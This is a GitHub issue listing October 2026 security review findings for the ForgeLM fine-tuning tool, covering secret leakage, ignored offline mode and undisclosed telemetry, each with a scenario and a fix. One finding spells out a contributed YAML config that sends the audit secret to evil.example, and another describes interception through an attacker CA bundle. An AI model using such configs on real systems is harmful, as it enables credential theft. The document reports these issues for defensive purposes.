Skip to content

[Wave 3] Medium — Security-contract fixes: Secret leakage and data egress #650

Open

Description

@cemililik

Wave 3 · 25 finding(s) in 16 fix package(s). Medium-severity findings that touch the security contract (exit codes, secrets, paths, provenance): do these before the rest of wave 3.

Findings

  • CR-A01-026 (code, Medium) — model.offline is enforced only through env vars exported once from the root config at CLI dispatch; library callers and stage-level offline: true still contact the Hub
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. A notebook user sets model.offline: true in an air-gapped or regulated setting and calls the library API. The model load issues Hub HTTP requests and leaks repo IDs and the token header to the configured endpoint.
    Where. forgelm/cli/_config_load.py:50-56 (the only code that exports HF_*_OFFLINE), forgelm/model.py:567-585 (offline only reaches prepare_revision_pin; from_pretrained gets no local_files_only), forgelm/cli/_pipeline.py:1562-1563 (stage offline only skips setup_authentication), forgelm/config.py:268-271 (description: 'Air-gapped mode: refuse HF Hub network calls')
    Recommended fix. Pass local_files_only=config_offline(config) (OR the ambient env) into every from_pretrained in model.py, as data.py does. In the pipeline, apply the per-stage offline intent.

  • CR-A01-028 (code, Medium) — setup_authentication reimplements HF token discovery (ignores HF_TOKEN/HF_HOME/XDG, false 'no token' warning) and calls login(), which persists and activates the token
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. A shared CI runner trains with a project-scoped token in auth.hf_token. The token is persisted to ~/.cache/huggingface and becomes the active token for every later job and user on that account.
    Where. forgelm/utils.py:48, forgelm/cli/_training.py:136-137, forgelm/cli/_pipeline.py:1562-1563 (confirmed), forgelm/utils.py:15-18
    Recommended fix. Do not call login(). Pass the token explicitly to from_pretrained and load_dataset (or set HF_TOKEN in-process for the run), honour HF_TOKEN/HF_HOME, and fix the warning.

  • ↳ same root cause: CR-A15-007 (code, Medium) — Hand-rolled HF cache resolvers ignore XDG_CACHE_HOME, legacy HUGGINGFACE_HUB_CACHE and ~/$VAR expansion that huggingface_hub and datasets honour
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. On a container or HPC host where XDG_CACHE_HOME is set, an operator runs cache-models without HF_HUB_CACHE. Weights land in ~/.cache/huggingface/hub. A later from_pretrained(local_files_only=True) in the same environment looks under $XDG_CACHE_HOME/huggingface/hub and fails.
    Where. forgelm/cli/subcommands/_cache.py:95-115 and 118-135, forgelm/cli/subcommands/_cache.py:118-135 (confirmed), forgelm/cli/subcommands/_cache.py:338 (confirmed), forgelm/cli/subcommands/_doctor.py:573-593 (confirmed)
    Recommended fix. Use the libraries' own resolved constants, or pass cache_dir only when --output is given.

  • ↳ same root cause: CR-A15-012 (code, Medium) — cache-models ignores HUGGINGFACE_TOKEN, which the docs call an alias of HF_TOKEN, so the documented Llama Guard staging fails with a gated-repo 'Please log in' and exit 2
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. On a fresh connected staging machine the operator follows enterprise_deployment.md:153 and exports HUGGINGFACE_TOKEN, then runs the air-gap guide's step 1 with --safety meta-llama/Llama-Guard-3-8B. The base model downloads (about 7 minutes in the documented example). Llama Guard then fails with GatedRepoError 'Please log in.' and exit 2 even though a valid token is exported. One mitigation applies: a token that login() persisted during an earlier training run on the same HF_HOME would be picked…
    Where. forgelm/cli/subcommands/_cache.py:335-338, forgelm/utils.py:21-23, docs/usermanuals/en/reference/cli.md:279, docs/guides/getting-started.md:100
    Recommended fix. Resolve the token the way setup_authentication does (HF_TOKEN, then HUGGINGFACE_TOKEN) and pass token= to snapshot_download, or call setup_authentication before the batch. Alternatively, correct cli.md:271/279, getting-started.md:100 and enterprise_deployment.md:153 to say HUGGINGFACE_TOKEN is read only by ForgeLM's training login step. Add a test that sets only HUGGINGFACE_TOKEN and asserts that…

  • ↳ same root cause: CR-A15-017 (code, Low) — doctor's offline env-var parsing diverges from huggingface_hub truthiness and precedence (FALSE/off/no/n treated as offline)
    severity Low · reachability default · intent intended-but-harmful · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. HF_HUB_OFFLINE=off exported in a shell: doctor skips the network probe and reports a healthy cache while training would contact the Hub.
    Where. forgelm/cli/subcommands/_doctor.py:1194-1198, forgelm/model.py:87-93, forgelm/data.py:132-147, forgelm/cli/subcommands/_doctor.py:1190-1198 (confirmed)
    Recommended fix. Reuse forgelm.model._hf_offline_mode (one parser) in doctor.

  • ↳ same root cause: TECH-T02-012 (technology, Watch) — Core Hugging Face stack and runtime dependencies: huggingface_hub>=1.3.0,<2.0.0 (HfApi.model_info/dataset_info timeout, snapshot_download, try_to_load_from_cache, login) and the HF_TOKEN / HUGGING_FA…
    severity Watch
    Item. huggingface_hub>=1.3.0,<2.0.0 (HfApi.model_info/dataset_info timeout, snapshot_download, try_to_load_from_cache, login) and the HF_TOKEN / HUGGING_FACE_HUB_TOKEN / HF_ENDPOINT / HF_HUB_OFFLINE env vars · verdict: aging · urgency: Watch
    State in ForgeLM. pyproject.toml:61 declares huggingface_hub>=1.3.0,<2.0.0. Hub calls sit at data.py:273, compliance.py:1003/1180-1218, utils.py:10,47 and _cache.py:266. forgelm/utils.py:23 itself reads only HUGGINGFACE_TOKEN; huggingface_hub reads HF_TOKEN and HUGGING_FACE_HUB_TOKEN. _doctor.py:449-465 resolves HF_ENDPOINT, and _doctor.py:812 masks HUGGING_FACE_HUB_TOKEN as a 'legacy alias'. Four EN pages and the…
    State of the ecosystem on 2026-10-01. Latest stable is 2.1.1 (2026-10-01). 2.0.0 shipped 2026-09-24, 2.1.0 was yanked on 2026-10-01, and the last 1.x is 1.33.0. 2.0 replaces the HTTP stack and removes APIs deprecated in 1.x; ForgeLM uses none of them. datasets 5.0.1 and tokenizers 0.23.2 both require huggingface-hub<2.0, so pip cannot select 2.x today, while transformers 5.18.0 allows <3.0. HUGGING_FACE_HUB_TOKEN is still honoured as…
    Recommendation. Keep <2 until datasets lifts its cap, then add a 2.x lane and widen to <3. ForgeLM's hub surface appears 2.x-compatible, but that is based on source reading only. Replace 'huggingface-cli login' with 'hf auth login' in the EN and TR docs; this is cheap enough to ride the next release. Prefer HF_TOKEN in docs and notebooks, and keep masking all three names.
    Sources.

  • ↳ same root cause: DOC-BLEGAL-074 (docs, Medium) — docs/guides/getting-started.md: broken example — "$ export HF_TOKEN="hf_xxxxx" # or huggingface-cli login"
    severity Medium
    Where. docs/guides/getting-started.md:97 (Turkish mirror: docs/guides/getting-started-tr.md:97) · type: broken example
    The document says. "$ export HF_TOKEN="hf_xxxxx" # or huggingface-cli login"
    What the code does. huggingface-cli does not work on any supported huggingface_hub version (absent in 1.3.0; deprecated shim exiting 1 in 1.33.0).
    Proposed correction. '# or: hf auth login'
    Turkish mirror. the Turkish page has the same error; fix both in the same PR

  • ↳ same root cause: DOC-BLEGAL-107 (docs, Medium) — docs/reference/usage.md: broken example — "3. Local Cache: huggingface-cli login"
    severity Medium
    Where. docs/reference/usage.md:35 (Turkish mirror: docs/reference/usage-tr.md:35) · type: broken example
    The document says. "3. Local Cache: huggingface-cli login"
    What the code does. huggingface_hub 1.3.0 has no huggingface-cli entry point (only hf and tiny-agents). In 1.33.0 it is a shim that prints 'deprecated and no longer works. Use hf instead' and exits 1. The replacement is hf auth login.
    Proposed correction. 'hf auth login'
    Turkish mirror. the Turkish page has the same error; fix both in the same PR

  • ↳ same root cause: DOC-BLEGAL-137 (docs, Medium) — docs/usermanuals/en/getting-started/installation.md: stale — [IS-T02-13] 'Set it via huggingface-cli login or the HF_TOKEN environment variable.'
    severity Medium
    Where. docs/usermanuals/en/getting-started/installation.md:149 (Turkish mirror: docs/usermanuals/tr/getting-started/installation.md:149) · type: stale
    The document says. [IS-T02-13] 'Set it via huggingface-cli login or the HF_TOKEN environment variable.'
    What the code does. The huggingface-cli entry point does not exist in huggingface_hub 1.3.0 (ForgeLM's floor; only hf and tiny-agents are installed). In 1.33.0 it is a shim that prints 'deprecated and no longer works. Use hf instead' and exits with status 1. HF_TOKEN still works.
    Proposed correction. Set it via hf auth login (the hf CLI replaced huggingface-cli) or the HF_TOKEN environment variable.
    Turkish mirror. the Turkish page has the same error; fix both in the same PR

  • ↳ same root cause: DOC-BLEGAL-138 (docs, Medium) — docs/usermanuals/en/operations/troubleshooting.md: stale — [IS-T02-14] 'Run huggingface-cli login, or set HF_TOKEN environment variable. ForgeLM picks up either.'
    severity Medium
    Where. docs/usermanuals/en/operations/troubleshooting.md:37 (Turkish mirror: docs/usermanuals/tr/operations/troubleshooting.md:37) · type: stale
    The document says. [IS-T02-14] 'Run huggingface-cli login, or set HF_TOKEN environment variable. ForgeLM picks up either.'
    What the code does. huggingface-cli is absent in huggingface_hub 1.3.0 and is a failing shim (exit 1, 'Use hf instead') in 1.33.0. The login command is now hf.
    Proposed correction. Run hf auth login, or set the HF_TOKEN environment variable. ForgeLM picks up either.
    Turkish mirror. the Turkish page has the same error; fix both in the same PR

  • ↳ same root cause: DOC-BLEGAL-237 (docs, Low) — docs/usermanuals/en/reference/cli.md: wrong detail — HF_TOKEN (alias: HUGGINGFACE_TOKEN) ... export HF_TOKEN (or the legacy HUGGINGFACE_TOKEN) in the shell and both huggingface_hub's own auto…
    severity Low
    Where. docs/usermanuals/en/reference/cli.md:271,279,320 (Turkish mirror: docs/usermanuals/tr/reference/cli.md:271,279,321) · type: wrong detail
    The document says. HF_TOKEN (alias: HUGGINGFACE_TOKEN) ... export HF_TOKEN (or the legacy HUGGINGFACE_TOKEN) in the shell and both huggingface_hub's own auto-pickup and ForgeLM's login step find it.
    What the code does. huggingface_hub reads HF_TOKEN and its legacy fallback HUGGING_FACE_HUB_TOKEN. It does not read HUGGINGFACE_TOKEN. ForgeLM's login step (forgelm/utils.py:23) reads only token or os.getenv("HUGGINGFACE_TOKEN") and then the token files, not HF_TOKEN. So neither variable is found by both mechanisms.
    Proposed correction. HF_TOKEN (read by huggingface_hub; legacy hub alias HUGGING_FACE_HUB_TOKEN). ForgeLM's own login step additionally reads HUGGINGFACE_TOKEN, a ForgeLM-specific name that huggingface_hub ignores.
    Turkish mirror. the Turkish page has the same error; fix both in the same PR

  • CR-A01-030 (code, Medium) — Config-validation errors echo raw secrets (tail of hf_token / webhook.url, synthetic.api_key) via Pydantic input_value into logs and the JSON envelope
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. A CI job runs forgelm --config cfg.yaml --dry-run --output-format json on a config that keeps its webhook url or hf_token inline as the last block and also has an unrelated cross-field mistake. The CI log, readable by everyone with pipeline access, now holds most of the secret. For a Slack webhook, 3 unknown characters can be brute-forced.
    Where. forgelm/config.py:2259-2265 (confirmed), forgelm/cli/_config_load.py:37-46 (confirmed), forgelm/config.py:1511-1512, forgelm/config.py:1933-1939
    Recommended fix. In load_config, build the message from e.errors(include_input=False) (or include_url=False plus a custom formatter) rather than str(e), keeping loc and msg but never input_value. Alternatively, mark the secret fields with SecretStr so their repr is masked.

  • CR-A01-045 (code, Medium) — Env-name indirection lets a YAML config send any process secret as a Bearer token to any public HTTPS host (judge_api_key_env + judge_api_base; synthetic api_key_env + api_base)
    severity Medium · reachability default · intent intended-but-harmful · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. A deployer's CI runs forgelm --config configs/x.yaml (or --generate-data) on a contributed config with HUGGINGFACE_TOKEN, FORGELM_AUDIT_SECRET or a cloud key in the job env, as docs/guides/cicd_pipeline.md:59 does. The contributed YAML sets synthetic: {enabled: true, teacher_backend: api, teacher_model: x, api_base: https://evil.example/v1, api_key_env: FORGELM_AUDIT_SECRET, seed_prompts: [hi]}. The run sends the HMAC key to evil.example, and the run exits 0. With that key the attacker ca…
    Where. forgelm/config.py:1092, forgelm/config.py:1347, forgelm/trainer.py:2000, forgelm/judge.py:248
    Recommended fix. Add a config validator that refuses judge_api_key_env / api_key_env values matching ForgeLM's own secrets (FORGELM_AUDIT_SECRET, FORGELM_*, HF_TOKEN, HUGGINGFACE_TOKEN, HUGGING_FACE_HUB_TOKEN) unless an explicit opt-in is set. Optionally add an operator-side allowlist for API hosts (judge_api_base / synthetic.api_base) and warn when a well-known provider key name (OPENAI_API_KEY, ANTHROPIC_API_KE…

  • CR-A02-044 (code, Medium) — 'No telemetry' claim is false on default runs: TRL trainers send a Hugging Face telemetry ping and ForgeLM never sets HF_HUB_DISABLE_TELEMETRY
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced with stubs
    Failure scenario. A regulated customer installs forgelm (resolving to the latest TRL 1.x) and trains without --offline. Each run pings huggingface.co with trainer, model architecture, PEFT flag, device and GPU model, contrary to the README's explicit 'No telemetry' promise and possibly to their egress policy.
    Where. README.md:165, site/js/translations.js:4345, forgelm/trainer.py:1028-1040, pyproject.toml:59
    Recommended fix. Set HF_HUB_DISABLE_TELEMETRY=1 (os.environ.setdefault) before TRL/HF imports in the CLI and library entry points, or document the dependency telemetry and how to disable it. Add a test asserting that send_telemetry is not invoked during trainer construction.

  • CR-A02-072 (code, Medium) — The webhook failure masker misses HF tokens, URL userinfo and query tokens, and Slack/Teams webhook URLs; training.failure carries them to the receiver
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced with stubs
    Failure scenario. A training crash whose message embeds an HF mirror credential or a tokenised URL is posted to Slack or Teams, where channel members and retention systems store it.
    Where. forgelm/trainer.py:1706, forgelm/webhook.py:502, forgelm/webhook.py:524, forgelm/data_audit/_secrets.py:62
    Recommended fix. Add hf_ token, URL-userinfo, query-token and webhook-URL patterns to the masker used by _mask_free_text, or apply the same shared redactor proposed in the first finding before masking.

  • CR-A03-026 (code, Medium) — model.offline does not stop HF Hub calls on the model load unless the CLI also exported the env vars (library API, per-stage offline)
    severity Medium · reachability documented-opt-in · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. A library user on an air-gapped or egress-monitored host sets model.offline: true and calls get_model_and_tokenizer / ForgeTrainer. The process emits Hub HEAD requests that leak the repo id and host, and stalls on retries, although the config says no Hub calls are made. The same happens for a pipeline stage that declares offline only in its own model block.
    Where. forgelm/model.py:566-585 (offline passed only to prepare_revision_pin at 570; _load_tokenizer and from_pretrained get no local_files_only), forgelm/cli/_config_load.py:50-56 (_apply_offline_flag: env export, the only enforcement), forgelm/cli/_pipeline.py:1562-1564, forgelm/config.py:268-271
    Recommended fix. Pass local_files_only=config.model.offline to every from_pretrained in model.py (and to the reward/classifier/judge loads), and apply the offline export per pipeline stage.

  • CR-A05-014 (code, Medium) — --log-level DEBUG leaks webhook secret URL paths via urllib3.connectionpool request lines
    severity Medium · reachability documented-opt-in · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. An operator enables --log-level DEBUG to debug a CI run; the log artefact now holds the Slack webhook token, which anyone with log access can use to post messages.
    Where. forgelm/cli/_logging.py:29-33, forgelm/webhook.py:85-95, forgelm/_http.py:476, docs/standards/logging-observability.md:206
    Recommended fix. Set root level only for the forgelm logger (or pin urllib3/requests/httpx loggers to WARNING), or attach a redacting filter to the handler.

  • CR-A07-025 (code, Medium) — monitoring.endpoint (which may embed credentials) is written verbatim into compliance_report.json and annex_iv_metadata.json, while webhook.url is deliberately excluded
    severity Medium · reachability default · intent intended-but-harmful · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. An operator configures monitoring.endpoint with an embedded API key. The key lands in compliance_report.json and the Annex IV bundle that is shared with auditors.
    Where. forgelm/compliance.py:1582-1589 (confirmed), forgelm/compliance.py:1598-1606, forgelm/model_card.py:296, forgelm/config.py:1285-1290
    Recommended fix. Record only scheme and host (or '$ENV' indirection) for the endpoint, matching the webhook policy.

  • CR-A08-008 (code, Medium) — Chokepoint redacts only its own log line and re-raises the raw exception; webhook, judge, synthetic and doctor log or persist the secret-bearing URL, and an empty-host URL defeats the redactor
    severity Medium · reachability documented-opt-in · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. An on-prem webhook URL with a typo in the port, used with allow_private_destinations, writes the full bearer URL into CI logs, which are often retained and widely readable.
    Where. forgelm/webhook.py:223-228 (RequestException branch; ConnectionError/SSLError/Timeout at :202-206 do not log exc), forgelm/synthetic.py:70-71, forgelm/synthetic.py:246 is the raise_for_status call; the log/error sites are 68-72, forgelm/_http.py:615-621, :745-752 (bare raise after local masking)
    Recommended fix. Log type(exc).name or pass str(exc) through _redact_url_paths_in_text/_mask_netloc before logging, as the approve handler already does.

  • CR-A08-015 (code, Medium) — Teacher/judge API key reaches logs and --generate-data JSON when the key value carries a newline or other control character (Authorization masking misses repr form)
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. In CI, an operator exports OPENAI_API_KEY from a mounted secret file that ends in a newline, then runs --generate-data --output-format json. Every prompt fails, and the full key is printed to stdout (the JSON artefact CI keeps) and to stderr warnings, which are readable by anyone with log access.
    Where. forgelm/_http.py:394-410, forgelm/_http.py:608-621, forgelm/synthetic.py:68-71, forgelm/synthetic.py:219
    Recommended fix. In safe_post/safe_get, mask the repr() and stripped forms of each secret header value as well as the raw value, or reject or strip header values with control characters before the request and raise HttpSafetyError without echoing the value. In synthetic._generate_one and judge, run str(e) through _mask_secrets_in_text/_redact_url_paths_in_text, or record only type(e).name plus status, before…

  • CR-A08-018 (code, Medium) — Model card config block publishes judge_api_base verbatim, including URL-embedded credentials
    severity Medium · reachability documented-opt-in · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. An operator points the judge at a gateway with credentials embedded in the URL and pushes the fine-tuned model with its README to the Hub.
    Where. forgelm/model_card.py:17-24, forgelm/model_card.py:78-93, forgelm/model_card.py:290-298, forgelm/config.py:1092
    Recommended fix. Run URL-valued fields (judge_api_base and any *_base/*url/endpoint) through _mask_netloc-style stripping in _redact_secrets.

  • CR-A08-024 (code, Medium) — API teacher: error text echoes the (pinned) request URL unmasked, no 429 handling, structured content accepted as a response
    severity Medium · reachability documented-opt-in · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. A judge endpoint returns content: null (content filter or tool-call message): the whole post-training run crashes with an AttributeError traceback, exit 2, with the model left on disk unreverted. A teacher behind a path-token gateway returns 429: the token-bearing URL appears in logs and the JSON envelope.
    Where. forgelm/synthetic.py:246-248, forgelm/synthetic.py:73, forgelm/cli/_no_train_modes.py:212, forgelm/judge.py:249
    Recommended fix. Catch AttributeError/TypeError in _call_api_judge and treat non-str content as the parse-failure sentinel. Apply _redact_url_paths_in_text/_mask_netloc to the exception text recorded in SyntheticResult.errors. Require isinstance(content, str) in the teacher. Optionally add bounded retry/backoff on 429/503.

  • CR-A08-026 (code, Medium) — A persisted tls_ca_bundle plus url_env lets an output-dir writer with an on-path position collect the approver's real webhook secret
    severity Medium · reachability default · intent intended-but-harmful · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. The trainer identity (or a co-tenant) writes attacker.pem into the output dir and sets webhook_config.tls_ca_bundle to its path. The approver runs forgelm approve with SLACK_WEBHOOK exported. The approver's request to hooks.slack.com is accepted by an intercepting proxy holding the attacker CA, which reads the Slack token in the URL path.
    Where. forgelm/webhook.py:132, forgelm/webhook.py:80-82, forgelm/_http.py:586-607, forgelm/cli/subcommands/_approve.py:313
    Recommended fix. Never take tls_ca_bundle (or url_env) from the persisted report on the approval path. Resolve them from operator-supplied configuration or flags, or at least require the bundle path to come from an operator-trusted location and log it at WARNING. Pin with a test.

  • CR-A14-034 (code, Medium) — Reconfiguring synthetic on --wizard-start-from returns teacher_backend=api, teacher_model=gpt-4o and an OpenAI api_base, and drops seed_prompts, teacher_revision, output_format and temperature
    severity Medium · reachability documented-opt-in · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end · already tracked: KNOWN-OPEN CLI-09 — docs/roadmap/phase-16-trust-surface-hardening.md:502-503,512-513 (S7 open; unit id inferred)
    Failure scenario. An air-gapped team keeps synthetic.teacher_backend: local with a pinned teacher_revision. A rerun with 'y' at the synthetic gate, Enter everywhere and a seed file typed in produces a valid YAML with teacher_backend: api and api_base https://api.openai.com/v1. The next --generate-data sends the seed prompts off-host (or fails on the missing key), and the revision pin is gone.
    Where. forgelm/wizard/_collectors.py:1003-1037, forgelm/wizard/_collectors.py:1007-1015, forgelm/wizard/_collectors.py:1020, forgelm/wizard/_collectors.py:1025-1032
    Recommended fix. Add an existing= argument. Default the backend choice to the loaded teacher_backend's index and seed teacher_model, api_base, api_key_env, seed_file and output_file from it. Carry non-prompted fields (seed_prompts, teacher_revision, output_format, temperature, etc.) through with setdefault. Skip the seed-file prompt or default it when seed_prompts exist.

  • CR-A15-011 (code, Medium) — HF_ENDPOINT credentials and raw Hub error text from cache-models / cache-tasks reach the append-only audit log and the JSON envelope through str(exc)
    severity Medium · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. An operator stages an air-gap bundle with HF_ENDPOINT=https://svc:TOKEN@artifactory.corp/api/huggingface and a model that 401s or 5xxs. The mirror credential is written permanently into the cache bundle's audit_log.jsonl, which the air-gap guide tells them to transfer and keep as Art. 12 evidence.
    Where. forgelm/cli/subcommands/_cache.py:309, forgelm/cli/subcommands/_cache.py:478, forgelm/cli/subcommands/_cache.py:471-484, forgelm/cli/subcommands/_cache.py:524
    Recommended fix. Run str(exc) through a URL-credential/path redactor (a userinfo strip plus the _http._redact_url_paths_in_text logic, keyed on HF_ENDPOINT) and cap its length before it reaches log_event or the envelope. Better: give AuditLogger.log_event one redaction and size hook for every free-text field.

Done when

  • Every finding above is fixed or closed with a reason (tick it here).
  • Code fixes carry a test; doc fixes update the Turkish mirror in the same PR.

Found by the October 2026 ForgeLM code and documentation review against commit cab2947. Code links point at that commit; line numbers may have moved since. Finding IDs (CR-…, DOC-…, TECH-…) are stable references for this backlog.

Activity

  1. added
    bugSomething isn't working
    documentationImprovements or additions to documentation
    backlog: knownAlready tracked in docs/roadmap
    dependenciesDependency or ecosystem currency
    securitySecurity-relevant
    severity: mediumReal defect with limited reach or a workaround
    source: review-2026-10Found by the October 2026 code and documentation review
    urgency: watchTechnology currency: re-check before each release
    wave: 3Roadmap wave 3: medium severity, module sweeps
    on Oct 9, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: cliCode area: cliarea: complianceCode area: compliancearea: configCode area: configbacklog: knownAlready tracked in docs/roadmapbugSomething isn't workingdependenciesDependency or ecosystem currencydocumentationImprovements or additions to documentationsecuritySecurity-relevantseverity: mediumReal defect with limited reach or a workaroundsource: review-2026-10Found by the October 2026 code and documentation reviewurgency: watchTechnology currency: re-check before each releasewave: 3Roadmap wave 3: medium severity, module sweeps

    Type

    No type

    Projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions